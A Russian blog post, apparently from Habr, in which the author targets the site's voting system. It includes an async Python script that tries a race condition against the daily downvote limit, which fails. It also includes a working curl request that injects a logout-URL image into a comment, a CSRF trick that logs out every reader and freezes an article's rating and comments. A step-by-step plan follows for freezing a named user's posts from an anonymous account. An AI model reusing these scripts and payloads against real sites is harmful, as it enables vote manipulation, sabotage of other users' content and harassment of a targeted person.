Питон против Безумного Макса, или как я посты на Хабре замораживал

в 14:55, , рубрики: python, информационная безопасность, Программирование, Разработка веб-сайтов, уязвимость, хабр
Питон против Безумного Макса, или как я посты на Хабре замораживал - 1

Я помню тот старый Хабр. Логотип был похож на комок шерсти после отрыжки кота, я писал какие-то наивные статьи и мне казалось, что я очень крут (нет), а народ пилил годные технические полотна текста, и чтобы узнать инфу про чёрные точки на лице, нужно было посещать другие сайты. Это было прикольно.

Потом что-то пошло не так, начали появляться какие-то полутехнические статьи, и (далее моя интерпретация событий) чтобы сохранить хабр, всех нетехнических писателей заманили в один корабль и отправили куда подальше на гиктаймс - подобно тому, как врач ампутирует руку пациенту, чтобы спасти жизнь. В данном случае, правда, врач подержал эту руку, посмотрел на неё, а потом пришил обратно. Что из этого вышло?

Ну зайдите в ленту, выберите "всё подряд" и увидите.

Проблема

Вы всё сами знаете, но я всё равно расскажу персонально для Хабр и Ко. Мы тут вроде голосуем, выбираем что-то годное, но поток бессмысленных и беспощадных статей всё равно больше. У меня конкретно горит, потому что я свои статьи вынашиваю, как детей, по несколько месяцев, собираю инфу, делаю фактчеки, чтобы не обосраться перед специалистами, постоянно удаляю что-то, потому что тупой и неправ... А потом открываю вот это, а там тысяча статей! Чувак просто берёт всё, вообще всё, до чего дотянется, переводит и постит в надежде, что что-нибудь выстрелит. Какой там фактчек, это же перевод, никто не прикопается - мопед ведь не автора, он просто разместил объяву перевод!..

Питон против Безумного Макса, или как я посты на Хабре замораживал - 2

Короче, этот чувак мне даже нравится, потому что удобно олицетворяет то, что я отрицаю: низкосортный контент на потоке. Поэтому простите: мне надоело делать это вручную, и я написал скрапер для автоматического минусования статей @MaxRokatansky

И чо?

Ну да, вообще ничего такого в этом нет. Как только программист рождается, он сразу пишет свой первый парсер, так что обсуждать нечего.

И тем не менее.

Я открываю правила сайта и читаю:

От величины кармы напрямую зависит то, сколько раз в сутки пользователь может проголосовать за карму, публикации и комментарии других участников сообщества. Арифметика простая: 1 единица кармы = 1 голос в сутки, который можно отдать за карму или публикацию, либо 2 голоса за комментарии. Например, если пользователь достиг показателя кармы в +50 единиц, то в сутки он сможет 50 раз проголосовать за карму и публикации, и 100 раз за комментарии. Если он израсходует этот заряд, то для возобновления возможности голосования ему потребуется подождать 24 часа.

Итак, у меня карма 200+, значит я могу 200 раз проголосовать за статьи, так?

Питон против Безумного Макса, или как я посты на Хабре замораживал - 3

Оказывается, Хабр - это типа прекрасная страна фей: можно 200 раз проголосовать положительно, но вот отрицательно - только 10 раз, потом вас банят на сутки и проголосовать вообще нельзя, даже как фея (в смысле, поставить +1). Какого хрена вообще? Это как если бы мне дали 100 рублей, но тратить их них я мог бы только 5. Зачем тогда?

Да, в принципе мне хватало, чтобы минусовать безумного Макса, но вот троих безумных Максов я бы уже не вывез, а планы по очистке хабра у меня были грандиозные.

И я взбесился.

Паралелизэйшын

Должен был быть способ, чтобы голосовать больше 10 раз.

Я стал изучать запросы к сайту в консоли Vivaldi. Очень скоро стало понятно, что взимодействие с сайтом идёт через API https://habr.com/kek/v2. Никакого openapi и тем более swagger'а я не обнаружил, поэтому стал просто смотреть, что вообще есть.

Больше всего меня интересовал запрос POST https://habr.com/kek/v2/articles/{post}/votes/down - понижение рейтинга статьи. 10 раз в сутки - лимит. Как его обойти?

Я давно слышал, что есть одна тема с гонкой... Вот 100 моих запросов на минусование статей. Если они одновременно поступят на бэкенд и спросят "сколько осталось минусов у этого кожаного мешка?", то, при достаточно плохих программистах, писавших сайт, бэкенд одновременно 1000 раз запросит БД, получит одинаковый ответ, и запросы выполнятся, после чего уже будут записаны факты минусования. То есть нужно очень быстро сделать много запросов, чтобы проверка на лимит запросов произошла до их завершения.

Для этого я написал скрипт на питоне. Чтобы это было быстро, я использовал async и делал последующий запрос, даже не дожидаясь ответа для предыдущего. Вот такой код:

COOKIES = {c['name']: c['value'] for c in json.load(open('cookies.json'))}
API_URL = 'https://habr.com/kek/v2'


async def vote(session, post: int) -> aiohttp.ClientResponse:
    url = f'{API_URL}/articles/{post}/votes/down'
    log.debug(url)
    return session.post(url, json={'reason': '6'})

async def shoot(posts):
    log.debug(f'Total {len(posts)}')
    async with aiohttp.ClientSession(cookies=COOKIES) as session:
        log.debug('Warm up')
        response = await session.get('https://habr.com/ru/company/otus/blog/595343/')
        assert response.status == 200
        html = await response.text()
        csrf_token = re.search(r'<meta name="csrf-token" content="(.+?)">', html)[1]
        log.info(f'{csrf_token=}')

        session.headers['csrf-token'] = csrf_token
        tasks = [
            asyncio.create_task(vote(session, post))
            for post in posts
        ]
        coroutines = await asyncio.gather(*tasks)
        responses = []
        for coro in coroutines:
            response = await coro
            responses.append(response)

    results = []
    for i, response in enumerate(responses):
        data = await response.read()
        result = posts[i], response.status, data.decode('utf8')
        log.debug(result)
        results.append(result)

    json.dump(results, open('results.json', 'a'), indent=4)


with open('posts.txt') as file:
    lines = file.read().split('n')
posts = [line.rsplit('/', maxsplit=2)[-2] for line in lines if line.strip() and not line.startswith('#')]
assert all(int(post) for post in posts)
asyncio.run(shoot(posts))

Я зарядил 100 статей, и пошла артиллерия...

2021-12-21 23:58:39,296 DEBUG __main__ https://habr.com/kek/v2/articles/.../votes/down
2021-12-21 23:58:39,296 DEBUG __main__ https://habr.com/kek/v2/articles/.../votes/down
2021-12-21 23:58:39,296 DEBUG __main__ https://habr.com/kek/v2/articles/.../votes/down
2021-12-21 23:58:39,296 DEBUG __main__ https://habr.com/kek/v2/articles/.../votes/down
2021-12-21 23:58:39,297 DEBUG __main__ https://habr.com/kek/v2/articles/.../votes/down
2021-12-21 23:58:39,297 DEBUG __main__ https://habr.com/kek/v2/articles/.../votes/down
2021-12-21 23:58:39,297 DEBUG __main__ https://habr.com/kek/v2/articles/.../votes/down
2021-12-21 23:58:39,297 DEBUG __main__ https://habr.com/kek/v2/articles/.../votes/down
2021-12-21 23:58:39,297 DEBUG __main__ https://habr.com/kek/v2/articles/.../votes/down
2021-12-21 23:58:39,297 DEBUG __main__ https://habr.com/kek/v2/articles/.../votes/down
2021-12-21 23:58:39,297 DEBUG __main__ https://habr.com/kek/v2/articles/.../votes/down
2021-12-21 23:58:39,297 DEBUG __main__ https://habr.com/kek/v2/articles/.../votes/down
2021-12-21 23:58:39,297 DEBUG __main__ https://habr.com/kek/v2/articles/.../votes/down
2021-12-21 23:58:39,297 DEBUG __main__ https://habr.com/kek/v2/articles/.../votes/down
2021-12-21 23:58:39,298 DEBUG __main__ https://habr.com/kek/v2/articles/.../votes/down
2021-12-21 23:58:39,298 DEBUG __main__ https://habr.com/kek/v2/articles/.../votes/down
2021-12-21 23:58:39,298 DEBUG __main__ https://habr.com/kek/v2/articles/.../votes/down
2021-12-21 23:58:39,298 DEBUG __main__ https://habr.com/kek/v2/articles/.../votes/down
2021-12-21 23:58:39,298 DEBUG __main__ https://habr.com/kek/v2/articles/.../votes/down
2021-12-21 23:58:39,298 DEBUG __main__ https://habr.com/kek/v2/articles/.../votes/down
2021-12-21 23:58:39,298 DEBUG __main__ https://habr.com/kek/v2/articles/.../votes/down
2021-12-21 23:58:39,298 DEBUG __main__ https://habr.com/kek/v2/articles/.../votes/down
2021-12-21 23:58:39,298 DEBUG __main__ https://habr.com/kek/v2/articles/.../votes/down
2021-12-21 23:58:39,298 DEBUG __main__ https://habr.com/kek/v2/articles/.../votes/down
2021-12-21 23:58:39,298 DEBUG __main__ https://habr.com/kek/v2/articles/.../votes/down
2021-12-21 23:58:39,299 DEBUG __main__ https://habr.com/kek/v2/articles/.../votes/down
2021-12-21 23:58:39,299 DEBUG __main__ https://habr.com/kek/v2/articles/.../votes/down
2021-12-21 23:58:39,299 DEBUG __main__ https://habr.com/kek/v2/articles/.../votes/down
2021-12-21 23:58:39,299 DEBUG __main__ https://habr.com/kek/v2/articles/.../votes/down
2021-12-21 23:58:39,299 DEBUG __main__ https://habr.com/kek/v2/articles/.../votes/down
2021-12-21 23:58:39,299 DEBUG __main__ https://habr.com/kek/v2/articles/.../votes/down
2021-12-21 23:58:39,299 DEBUG __main__ https://habr.com/kek/v2/articles/.../votes/down

Все запросы уложились, наверно, в 10 мс.

И тут я обломался: это не работало. Более того, если я посылал 10 запросов на минусование одного и того же поста, то первый отрабатывал, остальные 9 возвращали already voted, и меня всё равно банили, хотя я по факту ставил только один минус. Полный провал.

Возможно, я был недостаточно быстрый. Можно было переписать на nim - он компилируется и там тоже есть async - и запустить поближе к серверам хабра, но это показалось мне слишком мутным решением без гарантии результата.

Логаут

Проблема меня зацепила. Я должен был остановить Макса, но не знал, как. Это была навязчивая идея, я постоянно думал над этим.

Одним вечером я решил конкретно изучить API хабра. Если вы почитаете истории взломов, то узнаете, что сервисы обычно хакают через какой-нибудь левый функционал, который используют 3.5 человека в год. Что-то такое, например, было в azure Jupyter notebooks. Смысл в том, что основной функционал тестируют как следует, а на хрен-знает-что разрабы тратят гораздо меньше времени.

На Хабре самое главное - постинг статей, поэтому искать что-то там я не стал, а просто стал лазить по разделам сайта с открытыми Dev tools. И внезапно, даже без них, увидел вот что:

Питон против Безумного Макса, или как я посты на Хабре замораживал - 4

Да, это оно и есть: при наведении на кнопку выхода появляется ссылка, то есть для выхода браузер делает GET запрос. Ещё раз: GET запрос (без подтверждения) для действия, меняющего состояние!

Золотая классика - это вставлять такие ссылки в тег <img>, чтобы запрос выполнялся при загрузке картинки.

Я попробовал вставать такую картинку в статью из черновиков. Новый редактор для этого не очень удобен, поэтому я открыл старую версию и сделал всё там. При заходе в просмотр статьи меня разлогинивало - браузер видел картинку, пытался загрузить её с адреса https://habr.com/kek/v1/auth/logout2/, что вызывало выход из аккаунта. Визуально ничего не менялось, аватарка оставалась на месте, но ничего сделать уже было нельзя - комменты и лайки недоступны неавторизованным юзерам. После обновления странички я видел, что уже вышел из аккаунта.

Питон против Безумного Макса, или как я посты на Хабре замораживал - 5

Сначала я хотел запостить статью с такой картинкой в конце, но потом подумал, что это тупейшая моя идея, потому что никто ничего не сможет сделать - ни рейтинг изменить, ни коммент поставить. Можно ли это провернуть с чужой статьёй?..

Это же технический ресурс! Конечно, можно!

Вроде картинки можно прикреплять к комментам. Я открыл пост друга и посмотрел, какой запрос браузер делает в момент отправки коммента. И добавил в запрос свою картинку.

curl 'https://habr.com/kek/v2/articles/533420/comments/23977309' 
  # ...
  -H 'csrf-token: ...' 
  -H 'Cookie: ...' 
  --data-raw '{"isMarkdown":true,"text":{"source":"{"type":"doc","content
  ":[{"type":"paragraph","attrs":{"align":null,"simple":false,
  "persona":false},"content":[{"type":"text","text":"А есть ли 
  возможность запускать другие скриптовые языки? Не луа, а питон, например :>"}]},
  {"type":"image","attrs":{"src":"https://habr.com/kek/v1/auth/logout2/",
  "title":null,"customClass":"image","border":false,"float":false,
  "fullWidth":false,"inserted":false,"width":5,"height":5}},
  {"type":"paragraph","attrs":{"align":null,"simple":false,
  "persona":false}}]}","editorVersion":2},"parentId":"23977309","timestamp":
  1642886718748}'

Извини, Паша, твою статью больше никто не откомментирует.

Видюшка с proof-of-concept

Итак, вот мой план по ликвидации @MaxRokatansky с хабра:

  1. Создаю аккаунт без персональных данных и через vpn

  2. Пишу статью, чтобы набрать рейтинг - поверьте, в моей голове есть идеи 8)

  3. Пишу скрипт, проверяющий посты Макса каждую минуту

  4. Если есть новый пост, то я (опционально) ставлю минус, отправляю комментарий с хвалебными речами и моей картинкой

  5. В итоге у статьи 0 (или -1) и она заморожена: её можно посмотреть, но нельзя комментировать или менять рейтинг

  6. Или можно следить за рейтингом через апи и постить деструктивный коммент через определённый промежуток времени, чтобы ограничить рост на нужном значении рейтинга (хотя с Максом, хех, это и не нужно, да и вообще не вижу смысла морозить чью-либо хорошую статью)

  7. Запостить можно в середине какого-нибудь треда, чтобы никто не догадался (но желательно ближе к началу, потому что вдруг lazy loading?) :>

Вот такой нехитрой логикой можно заморозить вообще всё.

И как только я всё это осознал, когда я понял, что могу надёжно заминусовать или занулить поток этих говностатей и раздолбать этот дурацкий OTUS и кого угодно вообще - мне почему-то стало на них абсолютно наплевать.

Нет, ну вы представляете!


Если вам нравится то, что я пишу, то буду чертовски рад вам в моей группе: Блог Погромиста. Обожаю каждого подписчика.

И как всегда актуальный опрос:

Автор:
kesn

Источник

* - обязательные к заполнению поля


https://ajax.googleapis.com/ajax/libs/jquery/3.4.1/jquery.min.js